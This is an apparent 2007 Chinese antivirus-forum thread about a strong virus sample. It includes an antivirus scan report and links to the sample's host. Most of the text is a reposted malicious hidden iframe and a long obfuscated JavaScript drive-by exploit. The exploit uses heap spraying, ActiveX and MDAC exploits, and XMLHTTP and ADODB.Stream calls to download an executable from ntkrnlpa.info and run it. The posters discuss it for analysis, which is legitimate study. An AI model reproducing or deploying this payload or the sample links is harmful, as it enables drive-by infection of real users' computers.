强毒(等高人分析)

jhtl

高人。。。

qujuchao

厉害啊，搞不定

kuririn

原帖由 a256886572008 于 2007-10-10 08:11 发表
有啊！

24樓的附件那隻病毒，會感染文件，

還有透過RD穿OS牆！

只有下面這隻比較強
http://ntkrnlpa.info/rc/file.php?id=1

其他都是MSN病毒，很弱

還有，"訪問物理內存"，應該要阻止吧！

...

是 訪問物理內存 嗎

樓主說的應該是 修改其他進程內存 吧

kuririn

懷疑樓主的樣本有問題

這隻就有樓主說的 其他動作 了

srvfoat

学习了学习　　了｀｀｀

a256886572008

樓主是給錯毒了！

給成MSN病毒了！

不過樓主給的連結，那隻才是比較強的毒！

我24樓，有測試那隻，只要阻止"訪問物理內存"，

HIPS就可攔截！

[ 本帖最后由 a256886572008 于 2007-10-10 13:38 编辑 ]

jhtl

VirSCAN.org Scanned Report :
Scanned time   : 2007/10/10 14:51:59 (CST)
Scanner results: 26%的杀软(9/34)报告发现病毒
File Name      : load.exe
File Size      : 9216 byte
File Type      : MS-DOS executable (EXE), OS/2 or MS Windows
MD5            : c9cdd3cc752fe834d45b9b0c544216f8
SHA1           : 8e29574e602a13edd8e9e03efc7ee5aed12ba99b
Online report  : http://virscan.org/report.php?id=c9cdd3cc752fe834d45b9b0c544216f8

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.0.0.123       2007.10.09        2007-10-09  3.92   -
AntiVir        7.6.0.20        7.0.0.68          2007-10-09  1.92   HEUR/Crypted
Arcavir        1.0.4           200710092050      2007-10-09  1.24   -
AVAST          1.0.8           000780-0          2007-10-09  3.05   -
AVG            7.5.49.442      269.14.6/1060     2007-10-09  1.60   -
BitDefender    7.60825.899236  7.15216           2007-10-10  3.26   Win32.Virtob.AV
CA (VET)       8.4.0.24        31.2.5199         2007-10-10  0.89   -
ClamAV         0.91.2          4520              2007-10-10  0.04   -
Comodo         2.11            2.0.0.309         2007-10-10  1.19   -
Dr.WEB         4.33            2007.10.09        2007-10-09  5.10   -
ewido          4.0.0.2         2007.10.09        2007-10-09  2.04   -
F-PROT         4.4.0.50        20071009          2007-10-09  1.27   Possible W32/Trojan-Dlr-SysWrt-based!Maximus
F-SECURE       5.51.6100       2007.10.10.02     2007-10-10  2.66   -
飞塔           2.81-3.11       8.212             2007-10-09  0.39   Suspicious
ViRobot        20071009        2007.10.09        2007-10-09  0.47   -
IKARUS         T3.1.1.12       2007.10.09.69641  2007-10-09  1.44   suspicious(level 85)
江民杀毒       10.00.650       2007.10.08        2007-10-08  1.00   -
卡巴斯基       5.5.10          2007.10.10        2007-10-10  0.03   Virus.Win32.Virut.ae
金山毒霸       2007.6.20.249   2007.10.10        2007-10-10  0.84   -
迈克菲         5.2.00          5137              2007-10-09  1.23   -
MKS_VIR        2.01            2007.10.06        2007-10-06  1.84   -
NOD32          2.70.10         2582              2007-10-09  0.01   -
NORMAN         5.91.08         5.90              2007-10-09  13.79  -
熊猫卫士       9.04.03.0001    2007.10.09        2007-10-09  4.08   -
趋势           8.500-1001      4.767.00          2007-10-09  0.04   -
Prevx          V2              20071010          2007-10-10  7.83   -
QuickHeal      9.00            2007.08.29        2007-08-29  2.52   Suspicious - DNAScan
瑞星           19.0            19.44.21.00       2007-10-10  1.67   -
SOPHOS         2.49.1          4.21              2007-10-10  2.92   -
赛门铁克       1.3.0.24        20071009.017      2007-10-09  0.27   Bloodhound.W32.1
nProtect       2007-10-10.01   969443            2007-10-10  11.31    Backdoor/W32.IRCBot.9216
The Hacker     6.2.8           v00084            2007-10-09  0.71   -
VBA32          3.12.2.4        20071009.0448     2007-10-09  0.76   -
VirusBuster    4.3.19:9        9.108.5/11.0      2007-10-09  0.97   -

啊弥陀佛

微点砍掉

solcroft

原帖由 孤独更可靠 于 2007-10-9 17:52 发表
<iframe src="hXXp://ntkrnlpa.info/rc/?i=1" width=1 height=1 style="border:0"></iframe>
</BODY>
</HTML>

总算解出来了

第一层

1. <script language=javascript>document.write(unescape("<Script Language='JavaScript'>document.write( unescape('<script>
   
2. function zX(s)
   
3. { var s1= unescape( s.substr(0, s.length-1));  var t='';for(i=0;i<s1.length;i++) t+=String.fromCharCode( s1.charCodeAt(i)- s.substr(s.length-1, 1));
   
4. document.write(unescape(t)); }
   
5. </script>')); zX('*75*75*5F*5F*8Hmyrq*8J*8Hmjfi*8J*8Hxhwnuy*75qfslzflj*8I*77Of{fXhwnuy*77*8J*75*5F*5F{fw*75rr*75*8I*75sj|*75Fwwf~*7=*7>*8G*75*5F{fw*75rjrdkqfl*75*8I*755*8G*75*5F*5Fkzshynts*75m*7=*7>*75*<G*75rr*8Irr*8Gf*8I6*8GxjyYnrjtzy*7=*77m*7=*7>*77*7H*757555*7>*8G*75*<I*75*5F*5Fkzshynts*75ljyg*7=g*7H*75gXnj*7>*75*5F*<G|mnqj*75*7=g3qjslym*7F7*8HgXnj*7>*<Gg*75*7G*8I*75g*8G*<I*75*5Fg*75*8I*75g3xzgxywnsl*7=5*7HgXnj*7K7*7>*8Gwjyzws*75g*8G*<I*75*5F*5Fkzshynts*75hk*7=*7>*75*5F*<G{fw*75h*75*8I*755}5h5h5h5h*8G*75*5F{fw*75f*75*8I*75zsjxhfuj*7=*77*7:z9898*7:z9898*7:z5kjg*7:z88:g*7:z;;h>*7:z=5g>*7:z=556*7:zjk88*77*75*7G*75*5F*77*7:zj798*7:zjgkf*7:zj=5:*7:zkkjh*7:zkkkk*7:z=g<k*7:zik9j*7:zjkjk*7:z;9jk*7:zj8fk*7:z>k;9*7:z97k8*7:z>k;9*7:z;jj<*7:zjk58*7:zjkjg*77*75*7G*75*5F*77*7:z;9jk*7:zg>58*7:z;6=<*7:zj6f6*7:z5<58*7:zjk66*7:zjkjk*7:zff;;*7:zg>jg*7:z<<=<*7:z;:66*7:z5<j6*7:zjk6k*7:zjkjk*7:zff;;*7:zg>j<*77*75*7G*75*5F*77*7:zhf=<*7:z65:k*7:z5<7i*7:zjk5i*7:zjkjk*7:zff;;*7:zg>j8*7:z55=<*7:z5k76*7:z5<=k*7:zjk8g*7:zjkjk*7:zff;;*7:zg>kk*7:z7j=<*7:z5f>;*77*75*7G*75*5F*77*7:z5<:<*7:zjk7>*7:zjkjk*7:zff;;*7:zfkkg*7:zi<;k*7:z>f7h*7:z;;6:*7:zk<ff*7:zj=5;*7:zjkjj*7:zg6jk*7:z>f;;*7:z;9hg*7:zjgff*7:zjj=:*77*75*7G*75*5F*77*7:z;9g;*7:zk<gf*7:z5<g>*7:zjk;9*7:zjkjk*7:z=<gk*7:zk:i>*7:z>kh5*7:z<=5<*7:zjkjk*7:z;;jk*7:zk8ff*7:z7f;9*7:z7k;h*7:z;;gk*7:zhkff*77*75*7G*75*5F*77*7:z65=<*7:zjkjk*7:zgkjk*7:zff;9*7:z=:kg*7:zg;ji*7:zgf;9*7:z5<k<*7:zjk=j*7:zjkjk*7:zffjh*7:z7=hk*7:zg8jk*7:zh6>6*7:z7==f*7:zjgfk*77*75*7G*75*5F*77*7:z=f><*7:zjkjk*7:z>f65*7:z;9hk*7:zj8ff*7:zjj=:*7:z;9g;*7:zk<gf*7:zfk5<*7:zjkjk*7:z=:jk*7:zg<j=*7:zffjh*7:zihhg*7:zgh89*7:z65gh*77*75*7G*75*5F*77*7:zhk>f*7:zghgk*7:zff;9*7:z=:k8*7:zg;jf*7:zgf;9*7:z5<k<*7:zjkhh*7:zjkjk*7:zjk=:*7:z>f65*7:z;9hk*7:zj<ff*7:zji=:*7:z;9g;*7:zk<gf*77*75*7G*75*5F*77*7:zkk5<*7:zjkjk*7:z=:jk*7:z;965*7:zkkff*7:zjj=:*7:z;9g;*7:zk<gf*7:zjk5<*7:zjkjk*7:zfjjk*7:zgig9*7:z5jjh*7:z5jjh*7:z5jjh*7:z5jjh*77*75*7G*75*5F*77*7:z58;h*7:zg:jg*7:z;9gh*7:z5i8:*7:zgi6=*7:z5k65*7:z;9gf*7:z;958*7:zj<>7*7:zg7;9*7:zg>j8*7:z>h;9*7:z;9i8*7:zk6>g*7:zjh><*7:zg>6h*77*75*7G*75*5F*77*7:z>>;9*7:zjhhk*7:zih6h*7:zf;7;*7:z97fj*7:z7hjh*7:zihg>*7:zj56>*7:zkk:6*7:z6ii:*7:zj<>g*7:z767j*7:zjhj7*7:zfk6i*7:z6j59*7:z66i9*77*75*7G*75*5F*77*7:z>fg6*7:zg:5f*7:z59;9*7:zg:;9*7:zjhhg*7:z=>87*7:zj8;9*7:z;9f9*7:zk8g:*7:z87jh*7:zjg;9*7:zjh;9*7:zg67f*7:z7ig7*7:zjkj<*7:z6g5<*77*75*7G*75*5F*77*7:z6566*7:zgf65*7:zf8gi*7:zf5f7*7:zjkf6*7:z<9;=*7:z<5<9*7:z7K8F*7:z;J7K*7:z;G<9*7:z;J<7*7:z<5;H*7:z7J;6*7:z;J;>*7:z;K;;*7:z<77K*7:z7K;8*7:z;>;;*7:z;:;H*7:z<57J*7:z<5;=*7:z;>8K*7:z8I;9*7:z5586*77*7>*8G*75*5F*75*75*75*75{fw*75mjfuGqthpXnj*75*8I*755}955555*8G*75*5F*75*75*75*75{fw*75uqx*75*8I*75f3qjslym*75*7F*757*8G*75*5F*75*75*75*75{fw*75gXnj*75*8I*75mjfuGqthpXnj*752*75*7=uqx*7G5}8=*7>*8G*75*5F*75*75*75*75{fw*75g*75*8I*75zsjxhfuj*7=*77*7:z5h5h*7:z5h5h*77*7>*8G*75*75*75*75g*75*8I*75ljyg*7=g*7HgXnj*7>*8G*75*5F*75*75*75*75mjfuGqthpx*75*8I*75*7=h*752*755}955555*7>*7KmjfuGqthpXnj*8G*75*5F*75*75*75*75*75*5F*75*75*75*75ktw*75*7=n*8I5*8Gn*8HmjfuGqthpx*8Gn*7G*7G*7>*<Grr*:Gn*:I*75*8I*75g*75*7G*75f*8G*<I*75*5F*5F*75*75*75*75rjrdkqfl*75*8I*756*8G*75*5F*75*75*75*75m*7=*7>*8G*75*5F*75*75*75*75wjyzws*75rr*8G*75*5F*<I*75*5F*5Fkzshynts*75xyfwy\[K*7=*7>*75*5F*<G*75*5F*75*75*75*75ktw*75*7=n*8I5*8Gn*8H67=*8Gn*7G*7G*7>*75*5F*75*75*75*75*<G*75*5F*75*75*75*75*75*75*75*75yw~*<G*75*75*75*75*75*75*75*75*75*75*75*75{fw*75yfw*75*8I*75sj|*75Fhyn{j]Tgojhy*7=*7<\jg[n*7<*7G*7<j|Ktq*7<*7G*7<ij*7<*7G*7<wNh*7<*7G*7<ts3\jg[n*7<*7G*7<j|Ktq*7<*7G*7<ijwN*7<*7G*7<hts36*7<*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75i*75*8I*755}<kkkkkkj*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75g*75*8I*755}5h5h5h5h*75*5F*75*75*75*75*75*75*75*75*75*75*75*75yfw3xjyXqnhj*7=i*7H*75g*7H*75g*7H*75g*75*7>*8G*75*75*5F*75*75*75*75*75*75*75*75*<Ihfyhm*7=j*7>*<G*<I*75*5F*75*75*75*75*<I*75*5F*<I*75*5F*5Fkzshynts*75xyfwy\ns_nu*7=tgojhy*7>*75*5F*<G*75*5F*75*75*75*75{fw*75}m*75*8I*75*7<F*7<*8G*75*75*75*75|mnqj*75*7=}m3qjslym*75*8H*75786*7>*75}m*7G*8I*7<F*7<*8G*75*75*75*75}m*7G*8I*77*:H}5h*:H}5h*:H}5h*:H}5h*:H}5h*:H}5h*:H}5h*77*8G*75*75*75*75tgojhy3HwjfyjSj|KtqijwKwtrSfrj*7=}m*7>*8G*75*5F*<I*75*5F*5Fkzshynts*75xyfwyT{jwkqt|*7=szr*7>*75*5F*<G*75*5F*75*75*75*75nk*75*7=szr*75*8I*8I*755*7>*75*<G*75*5F*75*75*75*75*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75{fw*75vy*75*8I*75sj|*75Fhyn{j]Tgojhy*7=*7<Vznhp*7<*7G*7<Ynrj3Vz*7<*7G*7<nhpYnrj*7<*7>*8G*75*75*75*75*75*75*75*75*75*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=vy*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75{fw*75vymyrq*75*8I*75*7<*8Htgojhy*75HQFXXNI*8I*77hqxni*8F57GK7:I:2=H6<29G782GH=52I89==FGIIH;G*77*75|niym*8I*776*77*75mjnlmy*8I*776*77*75xy~qj*8I*77gtwijw*8F5u}*77*8J*7<*7G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*7<*8Hufwfr*75sfrj*8I*77xwh*77*75{fqzj*8I*77vy3umu*77*8J*7<*7G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*7<*8Hufwfr*75sfrj*8I*77fzytuqf~*77*75{fqzj*8I*77ywzj*77*8J*7<*7G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*7<*8Hufwfr*75sfrj*8I*77qttu*77*75{fqzj*8I*77kfqxj*77*8J*7<*7G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*7<*8Hufwfr*75sfrj*8I*77htsywtqqjw*77*75{fqzj*8I*77ywzj*77*8J*7<*7G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*7<*8H*7Ktgojhy*8J*7<*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75rjrdkqfl*7>*75hk*7=*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75ithzrjsy3ljyJqjrjsyG~Ni*7=*7<r~i*7<*7G*7<n{*7<*7>3nssjwMYRQ*75*8I*75vymyrq*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75szr*75*8I*757::*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75*<I*75*5F*5F*75*75*75*75*75*75*75*75nk*75*7=szr*75*8I*757::*7>*75xjyYnrjtzy*7=*77xyfwyT{jwkqt|*7=6*7>*77*7H*757555*7>*8G*75*5F*75*75*75*75*75*75*75*75jqxj*75xyfwyT{jwkqt|*7=6*7>*8G*75*5F*5F*75*75*75*75*<I*75jqxj*75nk*75*7=szr*75*8I*8I*756*7>*75*<G*75*5F*75*75*75*75*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75{fw*75|nsnu*75*8I*75ithzrjsy3hwjfyjJqjrjsy*7=*77tgojhy*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75|nsnu3xjyFyywngzyj*7=*77hqfxxni*77*7H*75*77hqxni*8FF5>FJ;*77*7G*77=K2G69I298*77*7G*77JI2G<682GF968*77*7G*77K589>59*77*7>*8G*75*5F*5F*75*75*75*75*75*75*75*75*75*75*75*75{fw*75wjy*8I|nsnu3HwjfyjSj|KtqijwKwtrSfrj*7=zsjxhfuj*7=*77*7:55*77*7>*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=wjy*75*8I*8I*75kfqxj*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75rjrdkqfl*7>*75hk*7=*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75xyfwy\ns_nu*7=|nsnu*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75szr*75*8I*757::*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*5F*75*75*75*75*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75*<I*75*5F*5F*75*75*75*75*75*75*75*75nk*75*7=szr*75*8I*757::*7>*75xjyYnrjtzy*7=*77xyfwyT{jwkqt|*7=7*7>*77*7H*757555*7>*8G*75*5F*75*75*75*75*75*75*75*75jqxj*75xyfwyT{jwkqt|*7=7*7>*8G*75*5F*5F*75*75*75*75*<I*75jqxj*75nk*75*7=szr*75*8I*8I*757*7>*75*<G*75*5F*5F*75*75*75*75*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75{fw*75yfw*75*8I*75sj|*75Fhyn{j]Tgojhy*7=*7<\jg[n*7<*7G*7<j|Ktq*7<*7G*7<ijwNh*7<*7G*7<ts3\jg[n*7<*7G*7<j|Ktq*7<*7G*7<ijwN*7<*7G*7<hts36*7<*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=yfw*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75rjrdkqfl*7>*75hk*7=*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75xyfwy\[K*7=*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75*<I*75*5F*75*75*75*75*<I*75*5F*<I*75*5F*5F*5Fkzshynts*75LjyWfsiXywnsl*7=qjs*7>*75*5F*<G*75*5F*75*75*75*75{fw*75hmfwx*75*8I*75*77fghijklmnpqrstuvwxyz{|}~*77*8G*75*5F*75*75*75*75{fw*75xywnsldqjslym*75*8I*75qjs*8G*75*5F*75*75*75*75{fw*75wfsitrxywnsl*75*8I*75*7<*7<*8G*75*5F*75*75*75*75ktw*75*7={fw*75n*8I5*8G*75n*8Hxywnsldqjslym*8G*75n*7G*7G*7>*75*<G*75*5F*75*75*75*75*75*75*75*75{fw*75wszr*75*8I*75Rfym3kqttw*7=Rfym3wfsitr*7=*7>*75*7F*75hmfwx3qjslym*7>*8G*75*5F*75*75*75*75*75*75*75*75wfsitrxywnsl*75*7G*8I*75hmfwx3xzgxywnsl*7=wszr*7Hwszr*7G6*7>*8G*75*5F*75*75*75*75*<I*75*5F*5F*75*75*75*75wjyzws*75wfsitrxywnsl*8G*75*5F*<I*75*5F*5Fkzshynts*75HwjfyjTgojhy*7=HQXNI*7H*75sfrj*7>*75*<G*75*5F*75*75*75*75{fw*75w*75*8I*75szqq*8G*75*5F*75*75*75*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3HwjfyjTgojhy*7=sfrj*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*75*75*75*75*5F*75*75*75*75nk*75*7=*76*75w*7>*75*<G*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3HwjfyjTgojhy*7=sfrj*7H*75*77*77*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*<I*75*5F*75*75*75*75nk*75*7=*76*75w*7>*75*<G*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3HwjfyjTgojhy*7=sfrj*7H*75*77*77*7H*75*77*77*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*<I*75*5F*75*75*75*75nk*75*7=*76*75w*7>*75*<G*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3LjyTgojhy*7=*77*77*7H*75sfrj*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*<I*75*5F*75*75*75*75nk*75*7=*76*75w*7>*75*<G*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3LjyTgojhy*7=sfrj*7H*75*77*77*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*<I*75*5F*75*75*75*75nk*75*7=*76*75w*7>*75*<G*75yw~*75*<G*75j{fq*7=*7<w*75*8I*75HQXNI3LjyTgojhy*7=sfrj*7>*7<*7>*75*<Ihfyhm*7=j*7>*<G*<I*75*<I*75*5F*75*75*75*75wjyzws*7=w*7>*8G*75*5F*<I*75*5F*5Fkzshynts*75]RQMyyuIt|sqtfi*7=}rq*7H*75zwq*7>*75*<G*75*5F*5F*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75}rq3tujs*7=*77LJY*77*7H*75zwq*7H*75kfqxj*7>*8G*75*5F*75*75*75*75*75*75*75*75}rq3xjsi*7=szqq*7>*8G*75*5F*5F*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75wjyzws*755*8G*75*<I*75*5F*5F*75*75*75*75wjyzws*75}rq3wjxutsxjGti~*8G*75*5F*<I*75*5F*5Fkzshynts*75FITGIXywjfrXf{j*7=t*7H*75sfrj*7H*75ifyf*7>*75*<G*75*5F*5F*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75t3Y~uj*75*8I*756*8G*75*5F*75*75*75*75*75*75*75*75t3Rtij*75*8I*758*8G*75*5F*75*75*75*75*75*75*75*75t3Tujs*7=*7>*8G*75*5F*75*75*75*75*75*75*75*75t3\wnyj*7=ifyf*7>*8G*75*5F*75*75*75*75*75*75*75*75t3Xf{jYtKnqj*7=sfrj*7H*757*7>*8G*75*5F*75*75*75*75*75*75*75*75t3Hqtxj*7=*7>*8G*75*5F*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75wjyzws*755*8G*75*<I*75*5F*5F*75*75*75*75wjyzws*756*8G*75*5F*<I*75*5F*5Fkzshynts*75XmjqqJ}jhzyj*7=j}jh*7H*75sfrj*7H*75y~uj*7>*75*<G*75*5F*5F*75*75*75*75nk*75*7=y~uj*75*8I*8I*755*7>*75*<G*75*5F*75*75*75*75*75*75*75*75yw~*75*<G*75j}jh3Wzs*7=sfrj*7H*755*7>*8G*75wjyzws*756*8G*75*<I*75hfyhm*7=j*7>*75*<G*75*<I*75*5F*75*75*75*75*<I*75jqxj*75*<G*75*5F*75*75*75*75*75*75*75*75yw~*75*<G*75j}j3XmjqqJ}jhzyj*7=sfrj*7>*8G*75wjyzws*756*8G*75*<I*75hfyhm*7=j*7>*75*<G*75*<I*75*5F*75*75*75*75*<I*75*5F*5F*75*75*75*75wjyzws*7=5*7>*8G*75*5F*5F*<I*75*5F*5Fkzshynts*75RIFH*7=*7>*75*<G*75*5F*75*75*75*75{fw*75y*75*8I*75sj|*75Fwwf~*7=*7<*<GGI>;H:*7<*7G*7<:;2;:F8266*7<*7G*7<I52>=8F255H59KH*7<*7G*7<7>J85*<I*7<*7H*75*7<*<GGI>;H*7<*7G*7<::;2;:F8266*7<*7G*7<I52>=8F255H5*7<*7G*7<9KH7>J8;*<I*7<*7H*75*7<*<GFG>G*7<*7G*7<HJII2JH<J29<*7<*7G*7<J62>8772I9F76*7<*7G*7<5;6<66;*<I*7<*7H*75*7<*<G555;K*7<*7G*7<58825555255552H5552555555*7<*7G*7<55559;*<I*7<*7H*75*7<*<G555;*7<*7G*7<K58F25555255552H55525555555*7<*7G*7<5559;*<I*7<*7H*75*7<*<G;j87*7<*7G*7<5<5f2<;;i29jj;2=<>h2ih6kf*7<*7G*7<>6i7kh8*<I*7<*7H*75*7<*<G;969*7<*7G*7<:67G2G><=29:6I2F5I=2KHKIK8*7<*7G*7<8J=88H*<I*7<*7H*75*7<*<G<K:G*7<*7G*7<<K;82K5;K298862=F7;288>J58*7<*7G*7<H5FJ8I*<I*7<*7H*75*7<*<G5;<7*7<*7G*7<8J5>2K9H7298*7<*7G*7<h=2=8:=25>KHI6I*7<*7G*7<G5<;;*<I*7<*7H*75*7<*<G;8>K*7<*7G*7<<7:K26G7I29=*7<*7G*7<862F>KI2=<9=9*7<*7G*7<<;=7565*<I*7<*7H*75*7<*<GGF56=*7<*7G*7<:>>26IG8299k*7<*7G*7<>2=8G929;69:*7<*7G*7<9H=9GK=*<I*7<*7H*75*7<*<GI5H5<*7<*7G*7<I:;2<H;>298K62G9*7<*7G*7<F527:K:F6*7<*7G*7<6KFG6>*<I*7<*7H*75*7<*<GJ=H*7<*7G*7<HHIIK2HF7=29>;g2G*7<*7G*7<5:52;H5<H>;7*7<*7G*7<9<;G*<I*7<*7H*75szqq*7>*8G*75*5F*75*75*75*75{fw*75{*75*8I*75sj|*75Fwwf~*7=szqq*7H*75szqq*7H*75szqq*7>*8G*75*5F*75*75*75*75{fw*75n*75*8I*755*8G*75*5F*75*75*75*75{fw*75s*75*8I*755*8G*75*5F*75*75*75*75{fw*75wjy*75*8I*755*8G*75*5F*75*75*75*75{fw*75zwqWjfqJ}j*75*8I*75*7<myyu*8F*7K*7Ksypwsquf3nskt*7Kwh*7Kknqj3umu*8Kni*8I6*7<*8G*75*5F*5F*75*75*75*75|mnqj*75*7=y*:Gn*:I*75*7;*7;*75*7=*76*75{*:G5*:I*75*<H*<H*75*76*75{*:G6*:I*75*<H*<H*75*76*75{*:G7*:I*7>*75*7>*75*<G*75*5F*75*75*75*75*75*75*75*75{fw*75f*75*8I*75szqq*8G*75*5F*5F*75*75*75*75*75*75*75*75yw~*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75f*75*8I*75ithzrjsy3hwjfyjJqjrjsy*7=*77tgojhy*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75f3xjyFyywngzyj*7=*77hqfxxni*77*7H*75*77hqxni*8F*77*75*7G*75y*:Gn*:I3xzgxywnsl*7=6*7H*75y*:Gn*:I3qjslym*752*756*7>*7>*8G*75*5F*75*75*75*75*75*75*75*75*<I*75hfyhm*7=j*7>*75*<G*75f*75*8I*75szqq*8G*75*<I*75*5F*75*75*75*75*75*75*75*75*75*5F*75*75*75*75*75*75*75*75nk*75*7=f*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G5*:I*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75{*:G5*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77rx}rq73]RQMYYU*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G5*:I*7>*75{*:G5*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77Rnhwtxt*77*7G*77ky3]R*77*7G*77QMY*77*7G*77YU*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G5*:I*7>*75{*:G5*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77RX]*77*7G*77RQ73Xj*77*7G*77w{jw]R*77*7G*77QMY*77*7G*77YU*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G6*:I*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75{*:G6*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77FITIG3Xyw*77*7G*77jfr*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G7*:I*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75{*:G7*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77\Xh*77*7G*77wnuy3Xm*77*7G*77jqq*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=*76*75{*:G7*:I*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75{*:G7*:I*75*8I*75HwjfyjTgojhy*7=f*7H*75*77Xmjq*77*7G*77q3Fu*77*7G*77uq*77*7G*77nhfyn*77*7G*77ts*77*7>*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7={*:G7*:I*7>*75s*8I6*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*<I*75*5F*5F*75*75*75*75*75*75*75*75n*7G*7G*8G*75*5F*75*75*75*75*<I*75*5F*5F*75*75*75*75nk*75*7={*:G5*:I*75*7;*7;*75{*:G6*:I*75*7;*7;*75{*:G7*:I*7>*75*<G*75*5F*75*75*75*75*75*75*75*75{fw*75ifyf*75*8I*75]RQMyyuIt|sqtfi*7={*:G5*:I*7H*75zwqWjfqJ}j*7>*8G*75*5F*75*75*75*75*75*75*75*75nk*75*7=ifyf*75*76*8I*755*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75{fw*75sfrj*75*8I*75*77h*8F*:H*:Hx~x*77*7GLjyWfsiXywnsl*7=9*7>*7G*773j}j*77*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=FITGIXywjfrXf{j*7={*:G6*:I*7H*75sfrj*7H*75ifyf*7>*75*8I*8I*756*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75nk*75*7=XmjqqJ}jhzyj*7={*:G7*:I*7H*75sfrj*7H*75s*7>*75*8I*8I*756*7>*75*<G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75wjy*8I6*8G*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*75*75*75*75*<I*75*5F*75*75*75*75*<I*75*5F*5F*75*75*75*75wjyzws*75wjy*8G*75*5F*<I*75*5F*5Fkzshynts*75xyfwy*7=*7>*75*<G*75*5F*5F*75*75*75*75nk*75*7=*76*75RIFH*7=*7>*75*7>*75*<G*75xyfwyT{jwkqt|*7=5*7>*8G*75*<I*75*5F*5F*<I*75*5F*5F*8H*7Kxhwnuy*8J*75*5F*8H*7Kmjfi*8J*75*5F*8Hgti~*75tsqtfi*8I*77xyfwy*7=*7>*77*8J*75*5F*8Hin{*